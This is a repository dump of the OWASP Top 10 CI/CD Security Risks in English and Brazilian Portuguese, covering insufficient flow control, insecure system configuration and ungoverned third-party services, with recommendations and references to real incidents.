capacidade de um invasor que obteve permissões de acesso a um sistema dentro do processo de CI/CD (SCM, CI, repositório de artefatos etc.) de enviar manualmente códigos maliciosos ou artefatos pelo pipeline devido à falta de mecanismos que imponham aprovação ou revisão adicional. 5 | 6 | ## Descrição 7 | 8 | Os fluxos CI/CD são projetados para serem velozes. Um novo código pode ser criado na máquina de um desenvolvedor e chegar à produção em minutos, frequentemente com total confiança na automação e no mínimo envolvimento humano. Vendo que os processos de CI/CD são essencialmente o caminho para os ambientes de produção altamente controlados e protegidos, as organizações introduzem continuamente medidas e controles destinados a garantir que nenhuma entidade (humana ou aplicação) possa enviar código ou artefatos através do pipeline sem ser obrigado a passar por um conjunto rigoroso de revisões e aprovações. 9 | 10 | ## Impacto 11 | 12 | Um invasor com acesso ao SCM, CI ou sistemas mais internos do pipeline pode abusar de mecanismos de controle de fluxo insuficientes para implantar ou inserir artefatos maliciosos. Depois de criados, os artefatos são enviados pelo pipeline - potencialmente até a produção - sem qualquer aprovação ou revisão. Por exemplo, um atacante pode: 13 | 14 | 15 | * Fazer Push de código para um branch, que é implementado automaticamente através do pipeline no ambiente de produção. 16 | * Fazer Push de código para um branch, e em seguida, acionar manualmente um pipeline que envia o código para produção. 17 | * Fazer push de código diretamente para uma lib, que é usada pelo código em execução em um sistema em produção. 18 | * Abusar da regra de auto-merge no CI que faz merge automaticamente de pull requests que estão de acordo com um conjunto predefinido de requisitos, dessa forma, embarcando um código não revisado para a produção. 19 | * Abusar de regras insuficientes de proteção de branch - por exemplo, devido ã exclusão de branches ou usuários específicos para ignorar os controles de segurança da branch e fazer push de código malicioso não revisado. 20 | * Fazer Upload de um artefato para um repositório, como um pacote ou container, disfarçado de um artefato legítimo criado pelo ambiente de build. Nesse cenário, a falta de controles ou verificações pode fazer com que um artefato seja utilizado por um pipeline de deploy e implantado na produção. 21 | * Acesse a produção e altere diretamente o código da aplicação ou infraestrutura (por exemplo, uma função Lambda), sem qualquer aprovação/verificação adicional. 22 | 23 | 24 | ## Recomendações 25 | 26 | Defina mecanismos de controle de fluxo da pipeline para garantir que nenhuma entidade (humana/programática) seja capaz de enviar códigos e artefatos sensíveis por meio do pipeline sem verificação ou validação externa. Isso pode ser alcançado através da implementação das seguintes medidas: 27 | 28 | 29 | 30 | * Configure regras de proteção de branch nas branches que hospedam os códigos que são usados em produção e em outros sistemas sensíveis. Sempre que possível, evite a exclusão de contas de usuário ou branches das regras de proteção de branch. Em contas de usuário recebem permissão para fazer push de código não revisado para um repositório, garanta que essas contas não possuam permissão para executar pipelines de implantação conectados ao repositório em questão. 31 | * Limite o uso de regras de auto-merge automática e garanta que, onde quer que estejam em uso - elas sejam aplicáveis a uma quantidade mínima de contextos. Revise o código de todas as regras de auto-merge automáticas cuidadosamente para garantir que elas não possam ser ignoradas para evitar a importação de código de terceiros no processo de auto-merge. 32 | * Onde aplicável, evite que contas acionem pipelines de build e de implantação em produção sem aprovação ou revisão adicional. 33 | * Prefira permitir que os artefatos fluam pelo pipeline apenas na condição de terem sido criados por uma conta de serviço de CI pré-aprovada. Evite que artefatos carregados por outras contas fluam pelo pipeline sem revisão e aprovação secundárias. 34 | * Detecte e evite diferenças e inconsistências entre o código em execução na produção e em sua origem no CI/CD e modifique qualquer recurso que contenha esse desvio para garantir consistência. 35 | 36 | 37 | ## Referências 38 | 39 | 40 | 41 | 1. Backdoor planted in the PHP git repository. The attackers pushed malicious unreviewed code directly to the PHP main branch, ultimately resulting in a formal PHP version being spread to all PHP websites. 42 | 43 | [https://news-web.php.net/php.internals/113981](https://news-web.php.net/php.internals/113981) 44 | 45 | 2. Bypassing auto-merge rules in Homebrew, by [RyotaK](https://twitter.com/ryotkak). An auto-merge rule used to merge insignificant changes into the main branch was susceptible to bypass, allowing adversaries to merge malicious code into the project. 46 | 47 | [https://brew.sh/2021/04/21/security-incident-disclosure/](https://brew.sh/2021/04/21/security-incident-disclosure/) 48 | 49 | 3. Bypassing required reviews using GitHub Actions, by [Omer Gil](https://twitter.com/omer_gil). The flaw allowed leveraging GitHub Actions to bypass the required reviews mechanism and push unreviewed code to a protected branch. 50 | 51 | [https://www.cidersecurity.io/blog/research/bypassing-required-reviews-using-github-actions/](https://www.cidersecurity.io/blog/research/bypassing-required-reviews-using-github-actions/) 52 | -------------------------------------------------------------------------------- /English Version/CICD-SEC-08-Ungoverned-Usage-of-3rd-Party-Services.md: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | layout: col-sidebar 4 | title: "CICD-SEC-8: Ungoverned Usage of 3rd Party Services" 5 | 6 | --- 7 | ## Definition 8 | 9 | The CI/CD attack surface consists of an organization’s organic assets, such as the SCM or CI, and the 3rd party services which are granted access to those organic assets. Risks having to do with ungoverned usage of 3rd party services rely on the extreme ease with which a 3rd party service can be granted access to resources in CI/CD systems, effectively expanding the attack surface of the organization. 10 | 11 | 12 | ## Description 13 | 14 | It is rare to find an organization which does not have numerous 3rd parties connected to its CI/CD systems and processes. Their ease of implementation, combined with their immediate value, has made 3rd parties an integral part of the engineering day-to-day. The methods of embedding or granting access to 3rd parties are becoming more diverse and the complexities associated with implementing them are diminishing. 15 | 16 | Taking a common SCM - GitHub SAAS - as en example, 3rd party applications can be connected through one or more of these 5 methods: 17 | 18 | 19 | 20 | * GitHub Application 21 | * OAuth application 22 | * Provisioning of an access token provided to the 3rd party application 23 | * Provisioning of an SSH key provided to the 3rd party application. 24 | * Configuring webhook events to be sent to the 3rd party. 25 | 26 | Each method takes somewhere between seconds and minutes to implement, and grants 3rd parties with numerous capabilities, ranging from reading code in a single repository, all the way to fully administering the GitHub organization. Despite the potentially high level of permission these third parties are granted against the system, in many cases no special permissions or approvals are required by the organization prior to the actual implementation. 27 | 28 | Build systems also allow easy integration of 3rd parties. Integrating 3rd parties into build pipelines is usually no more complex than adding 1-2 lines of code within the pipeline configuration file, or installing a plugin from the build system’s marketplace (e.g. actions in Github Actions, Orbs in CircleCI). The 3rd party functionality is then imported and executed as part of the Build process with full access to whatever resources are available from the pipeline stage it is executed in. 29 | 30 | Similar methods of connectivity are available in various shapes and forms across most CI/CD systems, creating the process of governing and maintaining least privilege around 3rd party usage across the entire engineering ecosystem extremely complex. Organizations are grappling with the challenge of obtaining full visibility around which 3rd parties have access to the different systems, what methods of access they have, what level of permission/access they have been granted, and what level of permissions/access they are actually using. 31 | 32 | 33 | ## Impact 34 | 35 | Lack of governance and visibility around 3rd party implementations prevents organizations from maintaining RBAC within their CI/CD systems. Given how permissive 3rd parties tend to be, organizations are only as secure as the 3rd parties they implement. Insufficient implementation of RBAC and least privilege around 3rd parties, coupled with minimal governance and diligence around the process of 3rd party implementations create a significant increase of the organization’s attack surface. 36 | 37 | Given the highly interconnected nature of CI/CD systems and environments, compromise of a single 3rd party can be leveraged to cause damage far outside the scope of the system the 3rd party is connected to (for example, a 3rd party with write permissions on a repository, can be leveraged by an adversary to push code to the repository which will in turn trigger a build and run the adversary’s malicious code on the build system). 38 | 39 | 40 | ## Recommendations 41 | 42 | Governance controls around 3rd party services should be implemented within every stage of the 3rd party usage lifecycle: 43 | 44 | 45 | 46 | * **Approval** - Establish vetting procedures to ensure 3rd parties granted access to resources anywhere across the engineering ecosystem are approved prior to being granted access to the environment, and that the level of permission they are granted is aligned with the principle of least privilege. 47 | * **Integration** - Introduce controls and procedures to maintain continuous visibility over all 3rd parties integrated to CI/CD systems, including: 48 | * Method of integration. Make sure all methods of integration for each system are covered (including marketplace apps, plugins, OAuth applications, programmatic access tokens, etc.). 49 | * Level of permission granted to the 3rd party. 50 | * Level of permission actually in use by the 3rd party. 51 | * **Visibility over ongoing usage** - Ensure each 3rd party is limited and scoped to the specific resources it requires access to and remove unused and/or redundant permissions. 3rd parties which are integrated as part of the Build process should run inside a scoped context with limited access to secrets and code, and with strict ingress and egress filters. 52 | * **Deprovisioning** - Periodically review all 3rd parties integrated and remove those no longer in use. 53 | 54 | 55 | ## References 56 | 57 | 58 | 59 | 1. Codecov, a popular code coverage tool used in the CI, is compromised to steal environment variables from builds. 60 | 61 | [https://about.codecov.io/security-update/](https://about.codecov.io/security-update/) 62 | 63 | 2. Attackers compromise a GitHub user account of a DeepSource (a static analysis platform) engineer. Using the compromised account, they obtain the permissions of the DeepSource GitHub application, granting them full access to the codebase of all DeepSource clients that have installed the compromised GitHub application. 64 | 65 | [https://discuss.deepsource.io/t/security-incident-on-deepsource-s-github-application/131](https://discuss.deepsource.io/t/security-incident-on-deepsource-s-github-application/131) 66 | 67 | 3. Attackers gain access to the database of Waydev, a git analytics platform, stealing GitHub and GitLab OAuth tokens of their customers. 68 | 69 | [https://changelog.waydev.co/github-and-gitlab-oauth-security-update-dw98s](https://changelog.waydev.co/github-and-gitlab-oauth-security-update-dw98s) 70 | -------------------------------------------------------------------------------- /CICD-SEC-08-Uso-nao-controlado-de-servicos-de-terceiros-PT-BR.md: -------------------------------------------------------------------------------- 1 | 2 | ## Definição 3 | 4 | A superfície de ataque CI/CD consiste nos ativos orgânicos de uma organização, como SCM ou CI, e nos serviços de terceiros que recebem acesso a esses ativos orgânicos. Os riscos relacionados ao uso não controlado de serviços de terceiros dependem da extrema facilidade com que um serviço de terceiros pode obter acesso a recursos em sistemas CI/CD, expandindo efetivamente a superfície de ataque da organização. 5 | 6 | ## Descrição 7 | 8 | É raro encontrar uma organização que não tenha vários terceiros conectados aos seus sistemas e processos de CI/CD. A sua facilidade de implementação, aliada ao seu valor imediato, tornou os terceiros parte integrante do dia-a-dia do desenvolvimento. Os métodos de incorporação ou concessão de acesso a terceiros estão se tornando mais diversificados e as complexidades associadas à sua implementação estão diminuindo. 9 | 10 | Tomando um SCM comum - GitHub SAAS - como exemplo, aplicações de terceiros podem ser conectados por meio de um ou mais destes 5 métodos: 11 | 12 | 13 | 14 | * GitHub Application 15 | * OAuth application 16 | * Fornecimento de um token de acesso fornecido a aplicações de terceiros. 17 | * Fornecimento de uma chave SSH fornecida a aplicações de terceiros. 18 | * Configurar eventos de webhook para serem enviados para terceiros. 19 | 20 | Cada método leva entre segundos e minutos para ser implementado e concede a terceiros vários recursos, desde a leitura de código em um único repositório até a administração completa da organização GitHub. Apesar do nível potencialmente alto de permissão que esses terceiros recebem ao sistema, em muitos casos nenhuma permissão ou aprovação especial é exigida pela organização antes da implementação real. 21 | 22 | Os sistemas de build também permitem fácil integração a terceiros. A integração de terceiros em pipelines de compilação geralmente não é mais complexa do que adicionar 1-2 linhas de código no arquivo de configuração do pipeline ou instalar um plug-in de mercado do sistema de build (por exemplo, ações no Github Actions, Orbs no CircleCI). A funcionalidade de terceiros é então importada e executada como parte do processo do build com acesso total a quaisquer recursos disponíveis no estágio de pipeline em que é executado. 23 | 24 | Métodos semelhantes de conectividade estão disponíveis em vários formatos e formas na maioria dos sistemas CI/CD, tornando extremamente complexo o processo de gerir e manter privilégios mínimos em relação ao uso de terceiros em todo o ecossistema de desenvolvimento. As organizações estão enfrentando o desafio de obter total visibilidade sobre quais terceiros têm acesso aos diferentes sistemas, quais métodos de acesso eles têm, que nível de permissão/acesso receberam e que nível de permissões/acesso estão realmente usando. 25 | 26 | ## Impacto 27 | 28 | A falta de governança e visibilidade em relação às implementações de terceiros impede que as organizações mantenham o RBAC em seus sistemas de CI/CD. Dado o quão permissivos terceiros tendem a ser, as organizações são tão seguras quanto os terceiros que implementam. Implementação insuficiente de RBAC e menos privilégio em relação a terceiros, juntamente com governança e diligência mínimas em torno do processo de implementações de terceiros, criam um aumento significativo da superfície de ataque da organização. 29 | 30 | Dada a natureza altamente interconectada dos sistemas e ambientes de CI/CD, o comprometimento de um único terceiro pode ser aproveitado para causar danos muito além do escopo do sistema ao qual o terceiro está conectado (por exemplo, um terceiro com permissões de escrita em um repositório, pode ser aproveitado por um adversário para enviar código para o repositório que, por sua vez, acionará uma compilação e executará o código malicioso do adversário no sistema de compilação). 31 | 32 | 33 | ## Recomendações 34 | 35 | Os controles de governança em torno dos serviços de terceiros devem ser implementados em cada estágio do ciclo de vida de uso destes: 36 | 37 | 38 | 39 | * **Aprovação** - Estabeleça procedimentos de verificação para garantir que terceiros com acesso a recursos em qualquer lugar do ecossistema de engenharia sejam aprovados antes de receberem acesso ao ambiente e que o nível de permissão concedido esteja alinhado com o princípio de mínimo privilégio. 40 | * **Integração** - Introduzir controles e procedimentos para manter a visibilidade contínua de todos os terceiros integrados aos sistemas CI/CD, incluindo: 41 | * Método de integração. Certifique-se de que todos os métodos de integração para cada sistema sejam cobertos (incluindo aplicações de mercado, plug-ins, aplicativos OAuth, tokens de acesso programático etc.). 42 | * Nível de permissão concedido a terceiros. 43 | * Nível de permissão atualmente em uso pelo terceiro. 44 | * **Visibilidade sobre o uso contínuo** - Certifique-se de que cada terceiro esteja limitado e com escopo para os recursos específicos aos quais requer acesso e remova permissões não utilizadas e/ou redundantes. Terceiros que são integrados como parte do processo de build devem ser executados dentro de um contexto com escopo com acesso limitado a segredos e código e com filtros rígidos de entrada e saída. 45 | * **Desprovisionamento** - Revise periodicamente todos os terceiros integrados e remova aqueles que não estão mais em uso. 46 | 47 | 48 | ## Referências 49 | 50 | 51 | 52 | 1. Codecov, a popular code coverage tool used in the CI, is compromised to steal environment variables from builds. 53 | 54 | [https://about.codecov.io/security-update/](https://about.codecov.io/security-update/) 55 | 56 | 2. Attackers compromise a GitHub user account of a DeepSource (a static analysis platform) engineer. Using the compromised account, they obtain the permissions of the DeepSource GitHub application, granting them full access to the codebase of all DeepSource clients that have installed the compromised GitHub application. 57 | 58 | [https://discuss.deepsource.io/t/security-incident-on-deepsource-s-github-application/131](https://discuss.deepsource.io/t/security-incident-on-deepsource-s-github-application/131) 59 | 60 | 3. Attackers gain access to the database of Waydev, a git analytics platform, stealing GitHub and GitLab OAuth tokens of their customers. 61 | 62 | [https://changelog.waydev.co/github-and-gitlab-oauth-security-update-dw98s](https://changelog.waydev.co/github-and-gitlab-oauth-security-update-dw98s) 63 | -------------------------------------------------------------------------------- /English Version/CICD-SEC-07-Insecure-System-Configuration.md: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | layout: col-sidebar 4 | title: "CICD-SEC-7: Insecure System Configuration" 5 | 6 | --- 7 | ## Definition 8 | 9 | 10 | Insecure system configuration risks stem from flaws in the security settings, configuration and hardening of the different systems across the pipeline (e.g. SCM, CI, Artifact repository), often resulting in “low hanging fruits” for attackers looking to expand their foothold in the environment. 11 | 12 | 13 | ## Description 14 | 15 | CI/CD environments are comprised of multiple systems, provided by a variety of vendors. To optimize CI/CD security, defenders are required to place strong emphasis both on the code and artifacts flowing through the pipeline, and the posture and resilience of each individual system. 16 | 17 | In a similar way to other systems storing and processing data, CI/CD systems involve various security settings and configurations on all levels - application, network and infrastructure. These settings have a major influence on the security posture of the CI/CD environments and the susceptibility to a potential compromise. Adversaries of all levels of sophistication, are always on the lookout for potential CI/CD vulnerabilities and misconfigurations that can be leveraged to their benefit. 18 | 19 | Examples of potential hardening flaws: 20 | 21 | 22 | 23 | * A self-managed system and/or component using an outdated version or lacking important security patches. 24 | * A system having overly permissive network access controls. 25 | * A self-hosted system that has administrative permissions on the underlying OS. 26 | * A system with insecure system configurations. Configurations typically determine key security features having to do with authorization, access controls, logging and more. In many cases, the default set of configurations is not secure and requires optimization. 27 | * A system with inadequate credential hygiene - for example default credentials which are not disabled, overly permissive programmatic tokens, and more. 28 | 29 | While usage of Software as a Service (SaaS) CI/CD solutions, rather than their self-hosted alternative, eliminates some of the potential risks associated with system hardening and lateral movement within the network, organizations are still required to be highly diligent in securely configuring their SaaS CI/CD solution. Each solution has its own set of unique security configurations and best practices which are essential for maintaining optimal security posture. 30 | 31 | 32 | ## Impact 33 | 34 | A security flaw in one of the CI/CD systems may be leveraged by an adversary to obtain unauthorized access to the system or worse - compromise the system and access the underlying OS. These flaws may be abused by an attacker to manipulate legitimate CI/CD flows, obtain sensitive tokens and potentially access production environments. In some scenarios, these flaws may allow an attacker to move laterally within the environment and outside the context of CI/CD systems. 35 | 36 | 37 | ## Recommendations 38 | 39 | 40 | 41 | * Maintain an inventory of systems and versions in use, including mapping of a designated owner for each system. Continuously check for known vulnerabilities in these components. If a security patch is available, update the vulnerable component. If not, consider removing the component / system, or reduce the potential impact of exploiting the vulnerability by restricting access to the system, or the system’s ability to perform sensitive operations. 42 | * Ensure network access to the systems is aligned with the principle of least access. 43 | * Establish a process to periodically review all system configurations for any setting that can have an effect on the security posture of the system, and ensure all settings are optimal. 44 | * Ensure permissions to the pipeline execution nodes are granted according to the principle of least privilege. A common misconfiguration in this context is around granting debug permissions on execution nodes to engineers. While in many organizations this is a common practice, it is imperative to take into consideration that any user with the ability to access the execution node in debug mode may expose all secrets while they are loaded into memory and use the node’s identity - effectively granting elevated permissions to any engineer with this permission. 45 | 46 | 47 | ## References 48 | 49 | 50 | 51 | 1. The compromise of the SolarWinds build system, used to spread malware through SolarWinds to 18,000 organizations. 52 | 53 | [https://sec.report/Document/0001628280-20-017451/#swi-20201214.htm](https://sec.report/Document/0001628280-20-017451/#swi-20201214.htm) 54 | 55 | 56 | 57 | 2. Backdoor planted in the PHP git repository. The attackers pushed malicious unreviewed code directly to the PHP main branch, ultimately resulting in a formal PHP version being spread to all PHP users. The attack presumably originated in a compromise of the PHP self-maintained git server. 58 | 59 | [https://news-web.php.net/php.internals/113981](https://news-web.php.net/php.internals/113981) 60 | 61 | 3. An attacker compromised Stack Overflow’s TeamCity build server, which was accessible from the internet. 62 | 63 | [https://stackoverflow.blog/2021/01/25/a-deeper-dive-into-our-may-2019-security-incident/](https://stackoverflow.blog/2021/01/25/a-deeper-dive-into-our-may-2019-security-incident/) 64 | 65 | 4. Attackers compromised an unpatched Webmin build server, and added a backdoor to the local copy of the code after being fetched from the repository, leading to a supply chain attack on servers using Webmin. 66 | 67 | [https://www.webmin.com/exploit.html](https://www.webmin.com/exploit.html) 68 | 69 | 5. Nissan source code leaked after a self-managed Bitbucket instance left accessible from the internet with default credentials. 70 | 71 | [https://www.zdnet.com/article/nissan-source-code-leaked-online-after-git-repo-misconfiguration/](https://www.zdnet.com/article/nissan-source-code-leaked-online-after-git-repo-misconfiguration/) 72 | 73 | 6. Mercedes Benz source code leaked after a self-maintained internet-facing GitLab server was made open for self-registration. 74 | 75 | [https://www.zdnet.com/article/mercedes-benz-onboard-logic-unit-olu-source-code-leaks-online/](https://www.zdnet.com/article/mercedes-benz-onboard-logic-unit-olu-source-code-leaks-online/) 76 | 77 | 7. A self-managed GitLab server of the New York state government was exposed to the internet, allowing anyone to self-register and log in to the system, which stored sensitive secrets. 78 | 79 | [https://techcrunch.com/2021/06/24/an-internal-code-repo-used-by-new-york-states-it-office-was-exposed-online/](https://techcrunch.com/2021/06/24/an-internal-code-repo-used-by-new-york-states-it-office-was-exposed-online/) 80 | -------------------------------------------------------------------------------- /CICD-SEC-07-Configuracoes-Inseguras-de-Sistemas-PT-BR.md: -------------------------------------------------------------------------------- 1 | 2 | ## Definição 3 | 4 | 5 | Os riscos de configuração insegura do sistema decorrem de falhas nas configurações de segurança dos diferentes sistemas em todo o pipeline (por exemplo, SCM, CI, repositório de artefatos), frequentemente resultando em "alvos fáceis" para invasores que desejam expandir sua superfície de ataque no ambiente. 6 | 7 | 8 | ## Descrição 9 | 10 | Os ambientes de CI/CD são compostos por vários sistemas, fornecidos por várias empresas. Para otimizar a segurança do CI/CD, os times de segurança devem colocar forte ênfase no código, nos artefatos que fluem pelo pipeline e na postura e resiliência de cada sistema. 11 | 12 | De maneira similar a outros sistemas que armazenam e processam dados, os sistemas CI/CD envolvem várias configurações de segurança em todos os níveis - aplicação, rede e infraestrutura. Essas configurações têm grande influência na postura de segurança dos ambientes de CI/CD e na suscetibilidade a um possível comprometimento. Adversários de todos os níveis de sofisticação estão sempre atentos a potenciais vulnerabilidades de CI/CD e configurações incorretas que podem ser aproveitadas em seu benefício. 13 | 14 | Exemplos de possíveis falhas de harderning: 15 | 16 | 17 | 18 | * Um sistema e/ou componente usando uma versão desatualizada ou sem patches de segurança importantes. 19 | * Um sistema com controles de acesso à rede excessivamente permissivos. 20 | * Um sistema que possui permissões administrativas no sistema operacional subjacente. 21 | * Um sistema com configurações de sistema inseguras. As configurações geralmente determinam os principais recursos de segurança relacionados à autorização, controles de acesso, registro e muito mais. Em muitos casos, o conjunto padrão de configurações não é seguro e requer otimização. 22 | * Um sistema com gestão de credencial inadequada - por exemplo, credenciais padrão que não são desativadas, tokens programáticos excessivamente permissivos e muito mais. 23 | 24 | Embora o uso de soluções de CI/CD de Software como Serviço (SaaS), em vez de sua alternativa self-hosted, elimine alguns dos riscos potenciais associados ao hardening do sistema e ao movimento lateral dentro da rede, as organizações ainda precisam ser altamente diligentes na segurança, configurando sua solução SaaS CI/CD. Cada solução tem seu próprio conjunto de configurações de segurança exclusivas e práticas recomendadas essenciais para manter uma postura de segurança ideal. 25 | 26 | 27 | ## Impacto 28 | 29 | Uma falha de segurança em um dos sistemas CI/CD pode ser aproveitada por um adversário para obter acesso não autorizado ao sistema ou pior - comprometer o sistema e acessar o sistema operacional subjacente. Essas falhas podem ser abusadas por um invasor para manipular fluxos legítimos de CI/CD, obter tokens confidenciais e potencialmente acessar ambientes de produção. Em alguns cenários, essas falhas podem permitir que um invasor se mova lateralmente dentro do ambiente e fora do contexto dos sistemas CI/CD. 30 | 31 | ## Recomendações 32 | 33 | 34 | 35 | * Manter um inventário de sistemas e versões em uso, incluindo mapeamento de um proprietário designado para cada sistema. Verifique continuamente as vulnerabilidades conhecidas nesses componentes. Se um patch de segurança estiver disponível, atualize o componente vulnerável. Caso contrário, considere a remoção do componente/sistema ou reduza o impacto potencial da exploração da vulnerabilidade restringindo o acesso ao sistema ou a capacidade do sistema de executar operações confidenciais. 36 | * Certifique-se de que o acesso à rede aos sistemas esteja alinhado com o princípio do menor privilégio. 37 | * Estabeleça um processo para revisar periodicamente todas as configurações do sistema para qualquer configuração que possa afetar a postura de segurança do sistema e garantir que todas as configurações sejam ideais. 38 | * Certifique-se de que as permissões para os nós de execução do pipeline sejam concedidas de acordo com o princípio do menor privilégio. Um erro de configuração comum nesse contexto é conceder permissões de debug em nós de execução para desenvolvedores. Embora em muitas organizações esta seja uma prática comum, é imperativo levar em consideração que qualquer usuário com a capacidade de acessar o nó de execução no modo de debug pode expor todos os segredos enquanto eles são carregados na memória e usam a identidade do nó - efetivamente concedendo permissões administrativas para qualquer desenvolvedor com este perfil. 39 | 40 | 41 | ## Referências 42 | 43 | 44 | 45 | 1. The compromise of the SolarWinds build system, used to spread malware through SolarWinds to 18,000 organizations. 46 | 47 | [https://sec.report/Document/0001628280-20-017451/#swi-20201214.htm](https://sec.report/Document/0001628280-20-017451/#swi-20201214.htm) 48 | 49 | 50 | 51 | 2. Backdoor planted in the PHP git repository. The attackers pushed malicious unreviewed code directly to the PHP main branch, ultimately resulting in a formal PHP version being spread to all PHP users. The attack presumably originated in a compromise of the PHP self-maintained git server. 52 | 53 | [https://news-web.php.net/php.internals/113981](https://news-web.php.net/php.internals/113981) 54 | 55 | 3. An attacker compromised Stack Overflow’s TeamCity build server, which was accessible from the internet. 56 | 57 | [https://stackoverflow.blog/2021/01/25/a-deeper-dive-into-our-may-2019-security-incident/](https://stackoverflow.blog/2021/01/25/a-deeper-dive-into-our-may-2019-security-incident/) 58 | 59 | 4. Attackers compromised an unpatched Webmin build server, and added a backdoor to the local copy of the code after being fetched from the repository, leading to a supply chain attack on servers using Webmin. 60 | 61 | [https://www.webmin.com/exploit.html](https://www.webmin.com/exploit.html) 62 | 63 | 5. Nissan source code leaked after a self-managed Bitbucket instance left accessible from the internet with default credentials. 64 | 65 | [https://www.zdnet.com/article/nissan-source-code-leaked-online-after-git-repo-misconfiguration/](https://www.zdnet.com/article/nissan-source-code-leaked-online-after-git-repo-misconfiguration/) 66 | 67 | 6. Mercedes Benz source code leaked after a self-maintained internet-facing GitLab server was made open for self-registration. 68 | 69 | [https://www.zdnet.com/article/mercedes-benz-onboard-logic-unit-olu-source-code-leaks-online/](https://www.zdnet.com/article/mercedes-benz-onboard-logic-unit-olu-source-code-leaks-online/) 70 | 71 | 7. A self-managed GitLab server of the New York state government was exposed to the internet, allowing anyone to self-register and log in to the system, which stored sensitive secrets. 72 | 73 | [https://techcrunch.com/2021/06/24/an-internal-code-repo-used-by-new-york-states-it-office-was-exposed-online/](https://techcrunch.com/2021/06/24/an-internal-code-repo-used-by-new-york-states-it-office-was-exposed-online/) 74 | -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | 2 | # Versão traduzida do Top 10 CI/CD Security Risks 3 | ## Idioma: PORTUGUÊS - BRASIL 4 | ### Traduzido por: [Erick Ferreira](https://www.linkedin.com/in/erickrazr/) 5 | 6 |
7 | 8 | ![alt_text](assets/images/risks.png) 9 | # Introdução 10 | 11 | Ambientes, processos e sistemas de CI/CD são o coração pulsante de qualquer organização de software moderna. Eles entregam o código da estação de trabalho de um desenvolvedor para a produção. Combinados com a ascensão da disciplina DevOps e das arquiteturas de microsserviços, os sistemas e processos de CI/CD remodelaram o ecossistema de desenvolvimento: 12 | 13 | * O Conjunto de tecnologias é mais diversificado, tanto em relação às linguagens de codificação quanto às tecnologias e estruturas adotadas posteriormente (por exemplo, GitOps, K8s). 14 | * A adoção de novas linguagens e frameworks está cada vez mais rápida, sem grandes barreiras técnicas. 15 | * Há um aumento no uso de práticas de automação e infraestrutura como código (IaC). 16 | * Terceiros, tanto na forma de provedores externos quanto de dependências no código, tornaram-se uma parte importante de qualquer ecossistema de CI/CD, com a integração de um novo serviço normalmente exigindo não mais do que adicionar 1 a 2 linhas de código. 17 | 18 | Essas características permitem uma entrega de software mais rápida, flexível e diversificada. No entanto, eles também reformularam a superfície de ataque com uma infinidade de novos caminhos e oportunidades para os atacantes. 19 | 20 | Adversários de todos os níveis de sofisticação estão voltando sua atenção para CI/CD, percebendo que os serviços de CI/CD fornecem um caminho eficiente para alcançar as joias da coroa de uma organização. A indústria está testemunhando um aumento significativo na quantidade, frequência e magnitude de incidentes e vetores de ataque com foco no abuso de falhas no ecossistema CI/CD, incluindo - 21 | 22 | * O comprometimento do sistema de compilação **SolarWinds**, usado para espalhar malware para 18.000 clientes. 23 | * A violação **Codecov**, que levou à exfiltração de segredos armazenados em variáveis de ambiente em milhares de pipelines de build em várias empresas. 24 | * A **violação do PHP**, resultando na publicação de uma versão maliciosa do PHP contendo um backdoor. 25 | * A falha **Dependency Confusion**, que afetou dezenas de empresas gigantes, e abusa de falhas na forma como dependências externas são buscadas para executar código malicioso em estações de trabalho de desenvolvedores e ambientes de build. 26 | * Os compromentimentos dos pacotes **_ua-parser-js_, _coa_ e _rc_ NPM**, com milhões de downloads semanais cada, resultando em código malicioso executado em milhões de ambientes de construção e estações de trabalho de desenvolvedores. 27 | 28 | Embora os invasores tenham adaptado suas técnicas às novas realidades de CI/CD, a maioria dos defensores ainda está no início de seus esforços para encontrar as maneiras corretas de detectar, entender e gerenciar os riscos associados a esses ambientes. Buscando o equilíbrio certo entre segurança ideal e velocidade de desenvolvimento, as equipes de segurança estão em busca dos controles mais eficazes que permitirão que o desenvolvimento permaneça ágil sem comprometer a segurança. 29 | 30 | # Top 10 risks 31 | Todos os riscos seguem uma estrutura consistente: 32 | 33 | * **Definição** - Definição concisa da natureza do risco. 34 | * **Descrição** - Explicação detalhada do contexto e motivação do adversário. 35 | * **Impacto** - Detalhe sobre o impacto potencial que a realização do risco pode ter em uma organização. 36 | * **Recomendações** - Conjunto de medidas e controles recomendados para otimizar a postura de CI/CD de uma organização em relação ao risco em questão. 37 | * **Referências** - Uma lista de exemplos e precedentes do mundo real em que o risco em questão foi explorado. 38 | 39 | A lista foi compilada com base em extensa pesquisa e análise com base nas seguintes fontes: 40 | 41 | * Análise da postura de arquitetura, design e segurança de centenas de ambientes de CI/CD em vários setores e setores. 42 | * Discussões profundas com especialistas do setor. 43 | * Publicações detalhando incidentes e falhas de segurança dentro do domínio de segurança CI/CD. Exemplos são fornecidos quando relevantes. 44 | 45 | 46 | # Lista dos Top 10 Riscos de Segurança em CI/CD: 47 | 48 | [CICD-SEC-1](https://github.com/erickrazr/www-project-top-10-ci-cd-security-risks/blob/main/CICD-SEC-01-Mecanismos-de-Controle-de-Fluxo-Insuficiente-PT-BR.md): Mecanismos de Controle de Fluxo Insuficientes 49 | 50 | [CICD-SEC-2](https://github.com/erickrazr/www-project-top-10-ci-cd-security-risks/blob/main/CICD-SEC-02-Gerenciamento-de-Identidade-e-Acessos-inadequado-PT-BR.md): Gerenciamento de Identidade e Acessos inadequado 51 | 52 | [CICD-SEC-3](https://github.com/erickrazr/www-project-top-10-ci-cd-security-risks/blob/main/CICD-SEC-03-Abuso-de-cadeia-de-dependencia-PT-BR.md): Abuso de cadeia de dependência 53 | 54 | [CICD-SEC-4](https://github.com/erickrazr/www-project-top-10-ci-cd-security-risks/blob/main/CICD-SEC-04-Poisoned-Pipeline-Execution-PT-BR.md): Execução de Pipeline Envenendada - *Poisoned Pipeline Execution (PPE)* 55 | 56 | [CICD-SEC-5](https://github.com/erickrazr/www-project-top-10-ci-cd-security-risks/blob/main/CICD-SEC-05-PBAC-Insuficiente-PT-BR.md): Controle de Acesso Insuficiente em Pipelines - *Insufficient PBAC (Pipeline-Based Access Controls)* 57 | 58 | [CICD-SEC-6](https://github.com/erickrazr/www-project-top-10-ci-cd-security-risks/blob/main/CICD-SEC-06-Gestao-de-Credenciais-Inadequadas-PT-BR.md): Gestão de Credenciais Inadequada 59 | 60 | [CICD-SEC-7](https://github.com/erickrazr/www-project-top-10-ci-cd-security-risks/blob/main/CICD-SEC-07-Configuracoes-Inseguras-de-Sistemas-PT-BR.md): Configurações Inseguras de Sistemas 61 | 62 | 